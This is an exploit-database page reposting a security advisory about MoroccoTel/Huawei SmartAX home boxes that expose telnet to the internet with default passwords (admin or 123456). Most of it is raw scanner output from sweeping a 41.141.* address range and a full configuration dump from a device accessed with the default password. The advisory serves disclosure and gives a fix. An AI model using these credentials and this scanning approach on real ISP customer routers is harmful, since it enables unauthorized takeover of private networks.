0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

MoroccoTel Box Default Open Telnet Password

Author

Jerome Athias

Risk

[

Security Risk High

]

0day-ID

Category

Date add

Platform

a "vulnerability" was identified on MoroccoTel Boxes:
a telnet server is running, open to the web, with a default password of
admin (or 123456)

This critical vulnerability can affect the entire network of a Country.

Solution: change the default password account or modify the default firmware

NB: a new firmware was released, introducing a cipher on the "PPOE
password" (one common, publicly available PPOE account is largely used)

Discovered by NETpeas research team, NETpeas CERT is trying to contact
the ISP

More details:

Password:
telnettry
41.141.*.* -> Response telnet02: ****
Copyright (c) 2001 - 2006 Huawei
MT882a>
***********************************************************
41.141.*.* -> TELNET PASSWORD FOUND: admin

MT882a> show all

 RAS version: V100R001B022 MoroccoTel 2010/02/26
 System   ID: $5.0.152.1(RUE0.C2)3.11.2.151 20110602_V001  [Jun 02 2011
13:54:48]
 romRasSize: 1217226
 system up time:     2:45:45 (f2cc9 ticks)
 bootbase version: VTC_SPI1.5| 2011/05/26


Hostname        = MT882a
Message         = <empty>
ip route mode   = Yes
bridge mode     = Yes
DHCP setting:
  DHCP Mode      = Server
  Client IP Pool Starting Address = 192.168.1.2
  Size of Client IP Pool = 64
  Primary DNS Server     = 8.8.8.8
  Secondary DNS Server   = 8.8.4.4
  DHCP server leasetime  = 86400
TCP/IP Setup:
  IP Address     = 192.168.1.1
  IP Subnet Mask = 255.255.255.0
  Rip Direction  = None
    Version      = Rip-1
  Multicast      = IGMP-v2


RemoteNode     = 0
Rem Node Name  = ISP-0(ISP)
Encapsulation  = PPPoE
Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 8/35
IP Routing mode= Yes
Bridge mode    = No
PPP Username   = <snip>
  
PPP Password
41.141.*.* ->    = *******
PPP Username_ext2   =
PPP Password_ext2   =
Service name   =
Remote IP Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = Yes
Multicast      = None
Default Route node            = Yes

RemoteNode     = 1
Rem Node Name  = ISP-1
Encapsulation  = RFC 1483
Multiplexing   = LLC-based
Channel
41.141.1.9 -> Port 80 open
41.141.*.* -> active = Yes
VPI/VCI value  = 0/35
IP Routing mode= No
Bridge mode    = Yes
Remote IP Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0

41.141.*.* -> IP address assignment type = Dynamic

41.141.*.* -> SUA            = No
Multicast      = None
Default Route node            = No

RemoteNode     = 2
Rem Node Name  = ISP-2
Encapsulation  = RFC 1483
Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 0/32
IP Routing mode= No
Bridge mode    = Yes
Remote IP Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = No
Multicast      = None
Default Route node            = No

RemoteNode     = 3
Rem Node Name  = ISP-3
Encapsulation  = RFC 1483
Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 8/32
IP Routing mode= No
Bridge mode    = Yes
Remote IP Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = No
Multicast      = None
Default Route node            = No

RemoteNode     = 4
Rem Node Name  = ISP-4
Encapsulation  = RFC 1483
Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 8/81
IP Routing mode= No
Bridge mode    = Yes
Remote IP
41.141.*.* ->  Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = No
Multicast      = None
Default Route node            = No

RemoteNode     = 5
Rem Node Name  = ISP-5
Encapsulation  = RFC 1483
Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 0/100
IP Routing mode= No
Bridge mode    = Yes
Remote IP A
41.141.*.* -> ddr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = No
sMulticast      = None

41.141.*.* -> yDefault Route node            = No
s
 RemoteNode     = 6
aRem Node Name  = ISP-6t
sEncapsulation  = hRFC 1483

Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 1/39
IP Routing mode= No
Bridge mode    = Yes
Remote IP Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = No
Multicast      = None
Default Route node            = No

RemoteNode     = 7
Rem Node Name  = ISP-7
Encapsulation  = RFC 1483
Multiplexing   = LLC-based
Channel active = Yes
VPI/VCI value  = 0/16
IP Routing mode= No
Bridge mode    = Yes
Remote IP Addr        = 0.0.0.0
Remote IP Subnet Mask = 0.0.0.0
IP address assignment type = Dynamic
SUA            = No
Multicast      = None
Default Route node            = No

MT882a>
RAS version            : V100R001B022 MoroccoTel
romRasSize             : 1217226
bootbase version       : VTC_SPI1.5| 2011/05/26
Product Model          : SmartAX

MAC Address            : <snip-inclear>

Default Count
41.141.*.* -> ry Code   : FF

Boot Module Debug Flag : 00

RomFile Version        : 9F

RomFile Checksum       : dceb

RAS F/W Checksum       : 87b7

SNMP MIB level & OID   : 050000000100000002000000030000000400000005

Main Feature Bits      : 86

Other Feature Bits     :
93 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 13 00 00 00
MT882a>
41.141.*.* -> e
41.141.*.* -> ther config
--------------- NDIS CONFIGURATION BLOCK ----------------
type=1 flags=0001
Board/Chassis:1  Lines/Board:1  Channels/Lines:2 Total Channel:2
task-id=8041f1f4 event-q=80458c2c(19) data-q=80458c70(1a) func-id=2
board-cfg=8042c8a4 line-cfg=8042c8bc chann-cfg=8042c8d0
board-pp (8042c8f0)
804273fc
line-pp (8042c8f4)
8042956c
chann-pp (8042c8f8)
804bf8a4 804bfe34
--------------- BOARD DISPLAY ---------------------------
ID  slot#  n-line  n-chann  status  line-cfg  chann-cfg
00      0       1        2    0001  8042c8bc    8042c8d0
--------------- LINE  DISPLAY ---------------------------
ID  line#  board-id  n-chann  chann-cfg
00      1  00              2  8042c8d0
--------------- CHANNEL DISPLAY -------------------------
ID  chan#  line-id  board-id  address name
00      1  00       00        804bf8a4  enet0
01      2  00       00        804bfe34  enet1
MT882a>


-- 
Jerome Athias - NETpeas
VP, Director of Software Engineer
Palo Alto - Paris - Casablanca
Mobile: +212665346454
www.netpeas.com



#  0day.today [2024-11-15]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

MoroccoTel Box Default Open Telnet Password

Report Error

Report Error